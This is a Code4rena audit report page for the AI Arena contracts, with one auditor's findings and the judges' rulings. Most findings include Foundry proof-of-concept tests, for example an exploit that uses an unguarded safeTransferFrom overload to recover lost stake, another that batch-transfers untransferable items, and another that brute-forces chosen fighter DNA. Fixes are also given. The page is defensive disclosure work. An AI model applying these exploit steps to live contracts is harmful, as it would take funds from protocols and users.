Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 11/283
Findings: 14
Award: $387.62
🌟 Selected for report: 3
🚀 Solo Findings: 0
🌟 Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L355-L359 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L539
Fighter NFTs can bypass untransferable conditions and be transfered. This allows attacker to recover unrecoverable loss and steal the protocol's tokens.
In FighterFarm, transferFrom
and safeTransferFrom
are overridden to prevent users to own up to MAX_FIGHTERS_ALLOWED or moving NFTs which is staked.
function transferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { @> require(_ableToTransfer(tokenId, to)); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { @> require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, ""); } function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && @> balanceOf(to) < MAX_FIGHTERS_ALLOWED && @> !fighterStaked[tokenId] ); }
However, ERC721 has two safeTransferFrom
functions. One function has a data
parameter, and the other does not. FighterFarm only overrides the function without the data
parameter, so if you call safeTransferFrom
with the data
parameter, you can bypass _ableToTransfer
.
/// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
The most serious impact is that tokens with stakeAtRisk can be transfered, which can disrupt staking-related features.
Suppose the attacker got loss of 100 NRN in a previous round. amountLost[fighterOwner]
is 100. This is a loss from the previous round and can no longer be recovered.
At this time, the attacker buy an NFT with stakeAtRisk. stakeAtRisk is generated when you play the game this round and only occurs when you stake tokens and play the game. You can trade NFTs with staking and stakeAtRisk using safeTransferFrom(address,address,uint256,bytes)
. (Even if stakeAtRisk is forced to be 0 when calling updateFighterStaking
at unstaking, you can move the NFT in staking state by safeTransferFrom
, so it has a different root cause)
With this NFT, attacker can recover previous rounds's loss, which means stealing the token of the protocol.
amountLost[fighterOwner]
is a total amount regardless of rounds, it remains 100 even after the round.safeTransferFrom(address,address,uint256,bytes)
)
This is PoC. Add to the StakeAtRisk.t.sol file and test.
function testPoCSafeTransferFromNotOverridden() public { address seller = vm.addr(3); address buyer = vm.addr(4); uint256 stakeAmount = 3_000 * 10 ** 18; uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000; _mintFromMergingPool(buyer); uint256 tokenId_buyer = 0; assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer); _fundUserWith4kNeuronByTreasury(buyer); vm.prank(buyer); _rankedBattleContract.stakeNRN(stakeAmount, tokenId_buyer); assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount); // buyer loses with tokenId_buyer vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount); // round 0 passed // tokenId_buyer's round 0 StakeAtRisk is reset vm.prank(address(_rankedBattleContract)); _stakeAtRiskContract.setNewRound(1); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0); // seller mint token, lose battle and sell the NFT _mintFromMergingPool(seller); uint256 tokenId = 1; assertEq(_fighterFarmContract.ownerOf(tokenId), seller); _fundUserWith4kNeuronByTreasury(seller); vm.prank(seller); _rankedBattleContract.stakeNRN(stakeAmount, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount); // loses battle, get stakeAtRisk vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount); // seller sell token to buyer (with staking tokens) vm.startPrank(seller); assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount - expectedStakeAtRiskAmount); // staked NFT assertEq(_rankedBattleContract.hasUnstaked(tokenId, 1), false); // staked NFT _fighterFarmContract.safeTransferFrom(seller, buyer, tokenId, ""); // but seller can transfer with safeTransferFrom(address,address,uint256,bytes) vm.stopPrank(); // buyer can recover old lost with new NFT! assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount); // buyer win with bought NFT (tokenId 0) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 1) assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost"); }
Manual Review
Override safeTransferFrom(address,address,uint256,bytes)
too.
More appropriate way is to use _beforeTokenTransfer
hook instead of overriding safeTransferFrom
and transferFrom
.
Other
#0 - c4-pre-sort
2024-02-23T04:21:31Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T04:21:40Z
raymondfam marked the issue as duplicate of #54
#2 - c4-pre-sort
2024-02-23T04:47:08Z
raymondfam marked the issue as duplicate of #739
#3 - c4-pre-sort
2024-02-23T04:50:32Z
raymondfam marked the issue as sufficient quality report
#4 - c4-judge
2024-03-11T02:34:05Z
HickupHH3 marked the issue as satisfactory
#5 - c4-judge
2024-03-11T02:35:33Z
HickupHH3 removed the grade
#6 - c4-judge
2024-03-11T02:35:37Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
Can still transfer items that are untransferable.
There are items that cannot be transferred. GameItems overrides the safeTransferFrom
function to check for transferable settings.
function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override(ERC1155) { @> require(allGameItemAttributes[tokenId].transferable); super.safeTransferFrom(from, to, tokenId, amount, data); }
Openzeppelin's ERC1155 has a safeBatchTransferFrom
function. This is a function that transfers multiple ERC1155 tokens at once. However, GameItems does not override the safeBatchTransferFrom
function.
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not token owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); }
Therefore, even if the token is untransferable, transfer is possible using safeBatchTransferFrom
.
This is PoC. You can add it to the GameItems.t.sol file and test it.
function testPoCSafeBatchTransferFrom() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries _gameItemsContract.adjustTransferability(0, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0); assertEq(transferable, false); // safeTransferFrom should fail vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); // SafeBatchTransferFrom should fail too but it does not fail uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1); }
Manual Review
Override safeBatchTransferFrom
and check if all tokenIds are transferable.
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public override(ERC1155) { for(uint256 i = 0; i < ids.length; i ++){ require(allGameItemAttributes[ids[i]].transferable, "not transferable"); } super._safeBatchTransferFrom(from, to, ids, amounts, data); }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T03:21:59Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:22:11Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:26:36Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:47:39Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-05T04:48:52Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
A manipulated NFT can be created. Users can create an NFT with the attributes they want.
When calling redeemMintPass
, the fighterTypes
, iconsTypes
, and mintPassDnas
parameters are passed from the user. There is no verification code for these parameters. Therefore, the user can set them as they want. However, these attributes should not be freely set by the user.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, @> uint8[] calldata fighterTypes, @> uint8[] calldata iconsTypes, @> string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, @> uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], @> fighterTypes[i], @> iconsTypes[i], [uint256(100), uint256(100)] ); } }
In particular, if you manipulate mintPassDnas
, you can create a Fighter NFT with the desired performance. If you manipulate fighterTypes
, you can mint a special type of Fighter, the Dendroid. You can mint rare NFTs and sell it expensive in the secondary market.
This is PoC. Add it to FighterFarm.t.sol and run it. It shows that you can find the DNA that creates a robot with the weight you wants and can mint it.
function testPoCRedeemMintPassManipulateParam() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; _fighterTypes[0] = 0; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); // find DNA string memory foundDNA; string memory searchDNA = "A"; uint256 calculatedWeight; while(true){ foundDNA = string.concat(foundDNA, searchDNA); // test with AAAAA...AAA uint256 dna = uint256(keccak256(abi.encode(foundDNA))); calculatedWeight = dna % 31 + 65; // user wants this specific weight. if(calculatedWeight > 80){ break; } } _mintPassDNAs[0] = foundDNA; _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); // check balance to see if we successfully redeemed the mintpass for a fighter assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // check weight (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0); assertGt(weight, 80); assertEq(weight, calculatedWeight); }
Manual Review
In the redeemMintPass
function, receive an admin signature as a parameter and verify that the user parameter is correct.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:30:45Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:30:54Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:01Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:54:35Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-05T10:54:40Z
HickupHH3 changed the severity to 3 (High Risk)
#5 - c4-judge
2024-03-06T03:25:28Z
HickupHH3 marked the issue as not a duplicate
#6 - c4-judge
2024-03-06T03:25:36Z
HickupHH3 marked the issue as duplicate of #197
#7 - c4-judge
2024-03-06T03:30:23Z
HickupHH3 marked the issue as duplicate of #366
🌟 Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.4592 USDC - $1.46
Can reroll attributes based on a different fighterType, and can bypass maxRerollsAllowed.
maxRerollsAllowed
can be set differently depending on the fighterType
. Precisely, it increases as the generation of fighterType increases.
function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); @> generation[fighterType] += 1; @> maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
The reRoll
function does not verify if the fighterType
given as a parameter is actually the fighterType
of the given tokenId. Therefore, it can use either 0 or 1 regardless of the actual type of the NFT.
This allows bypassing maxRerollsAllowed
for additional reRoll, and to call _createFighterBase
and createPhysicalAttributes
based on a different fighterType
than the actual NFT's fighterType
, resulting in attributes calculated based on different criteria.
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); @> require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); @> (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, @> generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
This is PoC.
First, there is a bug that there is no way to set numElements
, so add a numElements setter to FighterFarm. This bug has been submitted as a separate report.
function numElementsSetterForPoC(uint8 _generation, uint8 _newElementNum) public { require(msg.sender == _ownerAddress); require(_newElementNum > 0); numElements[_generation] = _newElementNum; }
Add a test to the FighterFarm.t.sol file and run it. The generation of Dendroid has increased, and maxRerollsAllowed
has increased. The user who owns the Champion NFT bypassed maxRerollsAllowed
by putting the fighterType
of Dendroid as a parameter in the reRoll
function.
function testPoCRerollBypassMaxRerollsAllowed() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); // after successfully minting a fighter, update the model if (_fighterFarmContract.ownerOf(0) == _ownerAddress) { uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0); uint8 exceededLimit = maxRerolls + 1; uint8 tokenId = 0; uint8 fighterType = 0; // The Dendroid's generation changed, and maxRerollsAllowed for Dendroid is increased uint8 fighterType_Dendroid = 1; _fighterFarmContract.incrementGeneration(fighterType_Dendroid); assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType_Dendroid), maxRerolls + 1); assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType), maxRerolls); // Champions maxRerollsAllowed is not changed _neuronContract.addSpender(address(_fighterFarmContract)); _fighterFarmContract.numElementsSetterForPoC(1, 3); // this is added function for poc for (uint8 i = 0; i < exceededLimit; i++) { if (i == (maxRerolls)) { // reRoll with different fighterType assertEq(_fighterFarmContract.numRerolls(tokenId), maxRerolls); _fighterFarmContract.reRoll(tokenId, fighterType_Dendroid); assertEq(_fighterFarmContract.numRerolls(tokenId), exceededLimit); } else { _fighterFarmContract.reRoll(tokenId, fighterType); } } } }
Manual Review
Check fighterType
at reRoll function.
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); + require((fighterType == 1 && fighters[tokenId].dendroidBool) || (fighterType == 0 && !fighters[tokenId].dendroidBool), "Wrong fighterType"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T00:05:57Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T00:06:04Z
raymondfam marked the issue as duplicate of #17
#2 - c4-pre-sort
2024-02-22T00:48:08Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2024-02-22T00:48:21Z
raymondfam marked the issue as duplicate of #212
#4 - c4-pre-sort
2024-02-22T00:48:26Z
raymondfam marked the issue as sufficient quality report
#5 - raymondfam
2024-02-22T00:57:06Z
This report covers three consequences from the same root cause of fighter type validation: 1. more re-rolls, 2. rarer attribute switch, 3. generation attribute switch, with coded POC.
#6 - c4-pre-sort
2024-02-22T00:57:13Z
raymondfam marked the issue as not a duplicate
#7 - c4-pre-sort
2024-02-22T00:57:20Z
raymondfam marked the issue as primary issue
#8 - c4-sponsor
2024-03-04T01:18:55Z
brandinho (sponsor) confirmed
#9 - c4-judge
2024-03-05T04:09:05Z
HickupHH3 marked the issue as selected for report
#10 - HickupHH3
2024-03-05T04:28:31Z
#212's fix is a little more elegant
#11 - c4-judge
2024-03-05T04:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#12 - SonnyCastro
2024-04-13T15:41:55Z
Mitigated here
🌟 Selected for report: abhishek_thaku_r
Also found by: 0xAlix2, 0xDetermination, 0xShitgem, Draiakoo, Fulum, Greed, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, alexzoid, dimulski, fnanni, givn, iamandreiski, immeas, kartik_giri_47538, kiqo, klau5, korok, ktg, maxim371, offside0011, pontifex, sashik_eth, stakog, swizz, yotov721
111.676 USDC - $111.68
NFTs with a tokenId greater than 255 cannot reroll.
The tokenId
parameter type for the reRoll
function is uint8. However, the entire system uses uint256 for tokenId
. Therefore, NFTs with a tokenId greater than 255 cannot reroll.
@> function reRoll(uint8 tokenId, uint8 fighterType) public { ... }
This is PoC. Add it to FighterFarm.t.sol and run it.
function testPoCCannotRerollMoreThan255() public { // token 0 mintted to _ownerAddress _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); uint256 tokenIdFirst = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 0); for(uint160 i = 1; i < 256; i++){ // token 1 ~ 255 minted to address(1) ~ address(255) _mintFromMergingPool(address(i)); } // token 256 mintted to _ownerAddress _mintFromMergingPool(_ownerAddress); assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 2); uint256 tokenIdSecond = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 1); assertEq(tokenIdSecond, 256); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); uint8 fighterType = 0; _fighterFarmContract.reRoll(uint8(tokenIdSecond), fighterType); // cannot use uint256 tokenId parameter, so cast id to uint8 assertEq(_fighterFarmContract.numRerolls(tokenIdSecond), 0); // tokenId 256 not rerolled assertEq(_fighterFarmContract.numRerolls(tokenIdFirst), 1); // tokenId 0 is rerolled (by type casting) }
Manual Review
Use uint256 for tokenId
parameter
- function reRoll(uint8 tokenId, uint8 fighterType) public { + function reRoll(uint256 tokenId, uint8 fighterType) public { ... }
Other
#0 - c4-pre-sort
2024-02-22T01:16:55Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T01:17:11Z
raymondfam marked the issue as duplicate of #68
#2 - c4-judge
2024-03-05T01:56:37Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-05T02:04:51Z
HickupHH3 changed the severity to 3 (High Risk)
🌟 Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L129-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L470
Can no longer mint or reroll the NFT of that fighterType.
When creating a new NFT or rerolling, it calculates the element
using the numElements
value.
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { @> uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
numElements
is different for each generation
. Therefore, when the generation
changes, a new numElements
value should be set. However, there is no function to set numElements
in the FighterFarm contract.
The function to set generation
also does not set a new numElements
.
function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
The default value of numElements[generation[fighterType]]
is 0. If you try dna % 0
, the transaction is reverted due to a division or modulo by zero error. Therefore, if you increase the generation, you can no longer mint NFT of that fighterType or reroll.
This is PoC. Add it to the FighterFarm.t.sol file and run it.
function testPoCNumElementsNotSet() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); _neuronContract.addSpender(address(_fighterFarmContract)); if (_fighterFarmContract.ownerOf(0) == _ownerAddress) { uint8 tokenId = 0; uint8 fighterType = 0; // after successfully minting a fighter, update the generation _fighterFarmContract.incrementGeneration(fighterType); // cannot mint or reroll fighterType 0 anymore because of numElements, and there is no setter of numElements vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]); // try to mint fighterType 0 vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero _fighterFarmContract.reRoll(tokenId, fighterType); } }
Manual Review
Add setter or set numElements
at incrementGeneration
- function incrementGeneration(uint8 fighterType) external returns (uint8) { + function incrementGeneration(uint8 fighterType, uint256 newNumElements) external returns (uint8) { require(msg.sender == _ownerAddress); + require(newNumElements > 0); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; + numElements[generation[fighterType]] = newNumElements; return generation[fighterType]; }
Other
#0 - c4-pre-sort
2024-02-22T18:23:30Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:23:38Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T06:53:30Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T06:54:22Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
Attacker can get more reward NFT.
In FighterFarm.mintFromMergingPool
, it calls _safeMint
to mint ERC721, so the onERC721Received
hook of the NFT recipient is called. So attacker can reenter the claimRewards
function.
The claimRewards
function uses the cached lowerBound
while looping. Therefore, when you come back after calling claimRewards
through re-entry, lowerBound
is still the same as the old value of numRoundsClaimed
. Therefore, it continues to loop based on the old numRoundsClaimed
value.
